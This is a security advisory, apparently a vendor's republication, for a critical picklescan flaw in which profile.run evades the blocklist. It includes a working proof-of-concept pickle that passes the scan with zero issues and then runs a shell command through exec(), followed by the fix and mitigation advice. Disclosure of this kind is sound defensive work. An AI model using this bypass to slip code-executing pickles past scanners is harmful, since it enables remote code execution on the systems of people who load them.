GHSA-7wx9-6375-f5wh
CRITICALGHSA-7wx9-6375-f5wh is a critical-severity (CVSS 9.8) CWE-184 vulnerability in picklescan. O3 Security confirms whether GHSA-7wx9-6375-f5wh is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
PickleScan's profile.run blocklist mismatch allows exec() bypass
Blast Radius
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".
Severity
High — Direct code execution via exec() with zero scanner detection.
Affected Versions
- picklescan v1.0.3 (latest — the profile entries were added in recent versions)
- Earlier versions also affected (profile not blocked at all)
Details
Root Cause
In scanner.py line 199, the blocklist entry for profile is:
"profile": {"Profile.run", "Profile.runctx"},
When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:
module = "profile"name = "run"
The blocklist check at line 414 is:
elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):
This checks: is "run" in {"Profile.run", "Profile.runctx"}?
Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.
What profile.run() Does
# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
prof = Profile()
try:
prof.run(statement) # Calls exec(statement)
except SystemExit:
pass
...
profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.
Proof of Concept
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# profile.run("import os; os.system('id')")
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 60)
+ sbu("profile") + sbu("run") + b"\x93"
+ sbu("import os; os.system('id')")
+ b"\x85" + b"R" + b"."
)
# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN!
# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)
Comparison
| Pickle Global | Blocklist Entry | Match? | Result |
|---|---|---|---|
("profile", "run") | "Profile.run" | NO — "run" != "Profile.run" | CLEAN (bypass!) |
("profile", "Profile.run") | "Profile.run" | YES | DETECTED |
("profile", "runctx") | "Profile.runctx" | NO — "runctx" != "Profile.runctx" | CLEAN (bypass!) |
The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.
Impact
profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.
Suggested Fix
Change the profile blocklist entry from:
"profile": {"Profile.run", "Profile.runctx"},
to:
"profile": "*",
Or explicitly add the module-level functions:
"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},
Resources
- picklescan source:
scanner.pyline 199 ("profile": {"Profile.run", "Profile.runctx"}) - picklescan source:
scanner.pyline 414 (exact string match logic) - Python source:
Lib/profile.pyrun()function — callsexec()
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 1.0.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update picklescan to 1.0.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7wx9-6375-f5wh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7wx9-6375-f5wh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7wx9-6375-f5wh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7wx9-6375-f5wh in your dependencies?
O3 detects GHSA-7wx9-6375-f5wh across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.